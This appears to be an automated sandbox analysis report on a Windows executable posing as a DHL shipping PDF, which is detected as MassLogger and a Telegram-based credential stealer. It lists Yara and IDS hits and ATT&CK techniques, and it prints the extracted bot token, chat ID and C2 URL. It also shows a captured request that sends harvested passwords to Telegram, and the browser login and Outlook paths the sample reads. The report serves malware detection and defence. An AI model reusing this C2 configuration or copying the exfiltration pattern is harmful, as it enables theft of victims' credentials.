Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.VisualBasic\v4.0_10.0.0.0__b03f5f7f11d50a3a\Microsoft.VisualBasic.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Accessibility\v4.0_4.0.0.0__b03f5f7f11d50a3a\Accessibility.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe	Queries volume information: C:\Windows\Fonts\micross.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Data.DataSetExtensions\v4.0_4.0.0.0__b77a5c561934e089\System.Data.DataSetExtensions.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe	Queries volume information: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.VisualBasic\v4.0_10.0.0.0__b03f5f7f11d50a3a\Microsoft.VisualBasic.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Security\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Security.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Web.Extensions\v4.0_4.0.0.0__31bf3856ad364e35\System.Web.Extensions.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Accessibility\v4.0_4.0.0.0__b03f5f7f11d50a3a\Accessibility.dll VolumeInformation	Jump to behavior

Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Stealing of Sensitive Information

Yara detected MSIL Logger

Source: Yara match	File source: 2.2.DHL Shipping Details Ref ID 446331798008765975594-pdf.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.DHL Shipping Details Ref ID 446331798008765975594-pdf.exe.494d860.5.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.DHL Shipping Details Ref ID 446331798008765975594-pdf.exe.4936a40.4.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.DHL Shipping Details Ref ID 446331798008765975594-pdf.exe.494d860.5.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.DHL Shipping Details Ref ID 446331798008765975594-pdf.exe.4936a40.4.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000002.00000002.3534770188.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.1107898524.0000000004936000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: DHL Shipping Details Ref ID 446331798008765975594-pdf.exe PID: 6876, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: DHL Shipping Details Ref ID 446331798008765975594-pdf.exe PID: 6984, type: MEMORYSTR

Yara detected MassLogger RAT

Source: Yara match	File source: 2.2.DHL Shipping Details Ref ID 446331798008765975594-pdf.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.DHL Shipping Details Ref ID 446331798008765975594-pdf.exe.494d860.5.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.DHL Shipping Details Ref ID 446331798008765975594-pdf.exe.4936a40.4.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.DHL Shipping Details Ref ID 446331798008765975594-pdf.exe.494d860.5.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.DHL Shipping Details Ref ID 446331798008765975594-pdf.exe.4936a40.4.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000002.00000002.3534770188.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.1107898524.0000000004936000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000002.3537228103.0000000002E74000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: DHL Shipping Details Ref ID 446331798008765975594-pdf.exe PID: 6876, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: DHL Shipping Details Ref ID 446331798008765975594-pdf.exe PID: 6984, type: MEMORYSTR

Yara detected Telegram RAT

Source: Yara match	File source: 2.2.DHL Shipping Details Ref ID 446331798008765975594-pdf.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.DHL Shipping Details Ref ID 446331798008765975594-pdf.exe.494d860.5.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.DHL Shipping Details Ref ID 446331798008765975594-pdf.exe.4936a40.4.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.DHL Shipping Details Ref ID 446331798008765975594-pdf.exe.494d860.5.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.DHL Shipping Details Ref ID 446331798008765975594-pdf.exe.4936a40.4.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000002.00000002.3534770188.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.1107898524.0000000004936000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000002.3537228103.0000000002E74000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: DHL Shipping Details Ref ID 446331798008765975594-pdf.exe PID: 6876, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: DHL Shipping Details Ref ID 446331798008765975594-pdf.exe PID: 6984, type: MEMORYSTR

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data			Jump to behavior
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data			Jump to behavior

Tries to steal Mail credentials (via file / registry access)

Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe

Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676

Jump to behavior

Source: Yara match	File source: 2.2.DHL Shipping Details Ref ID 446331798008765975594-pdf.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.DHL Shipping Details Ref ID 446331798008765975594-pdf.exe.494d860.5.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.DHL Shipping Details Ref ID 446331798008765975594-pdf.exe.4936a40.4.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.DHL Shipping Details Ref ID 446331798008765975594-pdf.exe.494d860.5.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.DHL Shipping Details Ref ID 446331798008765975594-pdf.exe.4936a40.4.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000002.00000002.3534770188.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.1107898524.0000000004936000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000002.3537228103.0000000002E74000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: DHL Shipping Details Ref ID 446331798008765975594-pdf.exe PID: 6876, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: DHL Shipping Details Ref ID 446331798008765975594-pdf.exe PID: 6984, type: MEMORYSTR

Remote Access Functionality

Yara detected MSIL Logger

Source: Yara match	File source: 2.2.DHL Shipping Details Ref ID 446331798008765975594-pdf.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.DHL Shipping Details Ref ID 446331798008765975594-pdf.exe.494d860.5.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.DHL Shipping Details Ref ID 446331798008765975594-pdf.exe.4936a40.4.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.DHL Shipping Details Ref ID 446331798008765975594-pdf.exe.494d860.5.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.DHL Shipping Details Ref ID 446331798008765975594-pdf.exe.4936a40.4.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000002.00000002.3534770188.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.1107898524.0000000004936000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: DHL Shipping Details Ref ID 446331798008765975594-pdf.exe PID: 6876, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: DHL Shipping Details Ref ID 446331798008765975594-pdf.exe PID: 6984, type: MEMORYSTR

Yara detected MassLogger RAT

Source: Yara match	File source: 2.2.DHL Shipping Details Ref ID 446331798008765975594-pdf.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.DHL Shipping Details Ref ID 446331798008765975594-pdf.exe.494d860.5.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.DHL Shipping Details Ref ID 446331798008765975594-pdf.exe.4936a40.4.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.DHL Shipping Details Ref ID 446331798008765975594-pdf.exe.494d860.5.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.DHL Shipping Details Ref ID 446331798008765975594-pdf.exe.4936a40.4.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000002.00000002.3534770188.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.1107898524.0000000004936000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000002.3537228103.0000000002E74000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: DHL Shipping Details Ref ID 446331798008765975594-pdf.exe PID: 6876, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: DHL Shipping Details Ref ID 446331798008765975594-pdf.exe PID: 6984, type: MEMORYSTR

Yara detected Telegram RAT

Source: Yara match	File source: 2.2.DHL Shipping Details Ref ID 446331798008765975594-pdf.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.DHL Shipping Details Ref ID 446331798008765975594-pdf.exe.494d860.5.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.DHL Shipping Details Ref ID 446331798008765975594-pdf.exe.4936a40.4.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.DHL Shipping Details Ref ID 446331798008765975594-pdf.exe.494d860.5.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.DHL Shipping Details Ref ID 446331798008765975594-pdf.exe.4936a40.4.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000002.00000002.3534770188.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.1107898524.0000000004936000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000002.3537228103.0000000002E74000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: DHL Shipping Details Ref ID 446331798008765975594-pdf.exe PID: 6876, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: DHL Shipping Details Ref ID 446331798008765975594-pdf.exe PID: 6984, type: MEMORYSTR

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	1 Native API	1 DLL Side-Loading	111 Process Injection	1 Masquerading	1 OS Credential Dumping	111 Security Software Discovery	Remote Services	1 Email Collection	1 Web Service	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	Scheduled Task/Job	Boot or Logon Initialization Scripts	1 DLL Side-Loading	1 Disable or Modify Tools	1 Input Capture	1 Process Discovery	Remote Desktop Protocol	1 Input Capture	11 Encrypted Channel	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	51 Virtualization/Sandbox Evasion	Security Account Manager	51 Virtualization/Sandbox Evasion	SMB/Windows Admin Shares	11 Archive Collected Data	1 Ingress Tool Transfer	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	111 Process Injection	NTDS	1 Application Window Discovery	Distributed Component Object Model	1 Data from Local System	3 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 Deobfuscate/Decode Files or Information	LSA Secrets	1 System Network Configuration Discovery	SSH	Keylogging	14 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	3 Obfuscated Files or Information	Cached Domain Credentials	13 System Information Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	13 Software Packing	DCSync	Remote System Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	1 Timestomp	Proc Filesystem	System Owner/User Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement
Network Topology	Malvertising	Exploit Public-Facing Application	Command and Scripting Interpreter	At	At	1 DLL Side-Loading	/etc/passwd and /etc/shadow	Network Sniffing	Direct Cloud VM Connections	Data Staged	Web Protocols	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Internal Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Screenshots

Thumbnails

This section contains all screenshots as thumbnails, including those not shown in the slideshow.

Source: 00000000.00000002.1107898524.0000000004936000.00000004.00000800.00020000.00000000.sdmp	Malware Configuration Extractor: MassLogger {"EXfil Mode": "Telegram", "Telegram Token": "7303504110:AAFrHdCZZNIjaxiLly7_Fjy5Tv_jE3zFKA0", "Telegram Chatid": "7319393351"}
Source: DHL Shipping Details Ref ID 446331798008765975594-pdf.exe.6984.2.memstrmin	Malware Configuration Extractor: Telegram RAT {"C2 url": "https://api.telegram.org/bot7303504110:AAFrHdCZZNIjaxiLly7_Fjy5Tv_jE3zFKA0/sendMessage"}

Source: Network traffic	Suricata IDS: 1810008 - Severity 1 - Joe Security ANOMALY Telegram Send File : 192.168.2.10:49688 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 2057744 - Severity 1 - ET MALWARE Snake/Best Private Keylogger CnC Exfil Via Telegram : 192.168.2.10:49688 -> 149.154.167.220:443

Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.189 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /bot7303504110:AAFrHdCZZNIjaxiLly7_Fjy5Tv_jE3zFKA0/sendDocument?chat_id=7319393351&caption=user%20/%20Passwords%20/%208.46.123.189 HTTP/1.1Content-Type: multipart/form-data; boundary================8dd5d755d711b1cHost: api.telegram.orgContent-Length: 1088Connection: Keep-Alive

Source: Joe Sandbox View	IP Address: 149.154.167.220 149.154.167.220
Source: Joe Sandbox View	IP Address: 104.21.80.1 104.21.80.1
Source: Joe Sandbox View	IP Address: 104.21.80.1 104.21.80.1
Source: Joe Sandbox View	IP Address: 132.226.247.73 132.226.247.73

Source: Joe Sandbox View	JA3 fingerprint: 54328bd36c14bd82ddaa0c04b25ed9ad
Source: Joe Sandbox View	JA3 fingerprint: 3b5074b1b5d032e5620f69f9f700ff0e

Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe	Code function: 4x nop then cmp dword ptr [ebp-20h], 00000000h	0_2_02DB1A98
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe	Code function: 4x nop then cmp dword ptr [ebp-20h], 00000000h	0_2_02DB19B1
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe	Code function: 4x nop then mov dword ptr [ebp-1Ch], 00000000h	0_2_0A69CA7C
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe	Code function: 4x nop then mov dword ptr [ebp-1Ch], 00000000h	0_2_0A69EF6A
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe	Code function: 4x nop then xor edx, edx	0_2_0A69F360
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe	Code function: 4x nop then xor edx, edx	0_2_0A69F354
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe	Code function: 4x nop then jmp 01045782h	2_2_01045363
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe	Code function: 4x nop then jmp 010451B9h	2_2_01044F08
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe	Code function: 4x nop then jmp 01045782h	2_2_010456AF
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe	Code function: 4x nop then jmp 06551935h	2_2_065515F8
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe	Code function: 4x nop then jmp 0655F8D8h	2_2_0655F630
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe	Code function: 4x nop then jmp 0655A970h	2_2_0655A6C8
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe	Code function: 4x nop then jmp 0655D93Ah	2_2_0655D690
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe	Code function: 4x nop then jmp 065531F0h	2_2_06552F48
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe	Code function: 4x nop then jmp 0655B220h	2_2_0655AF78
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe	Code function: 4x nop then jmp 06553AA0h	2_2_065537F8
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe	Code function: 4x nop then jmp 06553EF8h	2_2_06553C50
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe	Code function: 4x nop then jmp 0655DEC8h	2_2_0655DC20
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe	Code function: 4x nop then jmp 0655E778h	2_2_0655E4D0
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe	Code function: 4x nop then jmp 06550741h	2_2_06550498
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe	Code function: 4x nop then jmp 0655BF28h	2_2_0655BC80
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe	Code function: 4x nop then jmp 0655A0C0h	2_2_06559CA0
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe	Code function: 4x nop then jmp 06550FF1h	2_2_06550D48
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe	Code function: 4x nop then jmp 0655C7D8h	2_2_0655C530
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe	Code function: 4x nop then jmp 0655D088h	2_2_0655CDE0
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe	Code function: 4x nop then jmp 0655F028h	2_2_0655ED80
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe	Code function: 4x nop then jmp 0655A518h	2_2_0655A270
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe	Code function: 4x nop then jmp 0655D4E0h	2_2_0655D238
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe	Code function: 4x nop then jmp 06552D98h	2_2_06552AF0
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe	Code function: 4x nop then jmp 0655FD30h	2_2_0655FA88
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe	Code function: 4x nop then jmp 0655ADC8h	2_2_0655AB20
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe	Code function: 4x nop then jmp 0655B678h	2_2_0655B3D0
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe	Code function: 4x nop then jmp 06553648h	2_2_065533A0
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe	Code function: 4x nop then jmp 065502E9h	2_2_06550040
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe	Code function: 4x nop then jmp 0655E320h	2_2_0655E078
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe	Code function: 4x nop then jmp 0655BAD0h	2_2_0655B828
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe	Code function: 4x nop then jmp 0655C380h	2_2_0655C0D8
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe	Code function: 4x nop then jmp 06550B99h	2_2_065508F0
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe	Code function: 4x nop then jmp 06554350h	2_2_065540A8
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe	Code function: 4x nop then jmp 0655EBD0h	2_2_0655E928
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe	Code function: 4x nop then jmp 0655F480h	2_2_0655F1D8
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe	Code function: 4x nop then jmp 0655CC30h	2_2_0655C988
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe	Code function: 4x nop then jmp 06551449h	2_2_065511A0

Source: unknown	DNS query: name: checkip.dyndns.org
Source: unknown	DNS query: name: reallyfreegeoip.org

Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org

Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: global traffic	DNS traffic detected: DNS query: checkip.dyndns.org
Source: global traffic	DNS traffic detected: DNS query: reallyfreegeoip.org
Source: global traffic	DNS traffic detected: DNS query: api.telegram.org

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report DHL Shipping Details Ref ID 446331798008765975594-pdf.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Threatname: Telegram RAT

Threatname: MassLogger

Yara Signatures

Memory Dumps

Unpacked PEs

Sigma Signatures

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Location Tracking

Compliance

Software Vulnerabilities

Networking

Key, Mouse, Clipboard, Microphone and Screen Capturing

System Summary

Data Obfuscation

Persistence and Installation Behavior

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Windows Analysis Report
DHL Shipping Details Ref ID 446331798008765975594-pdf.exe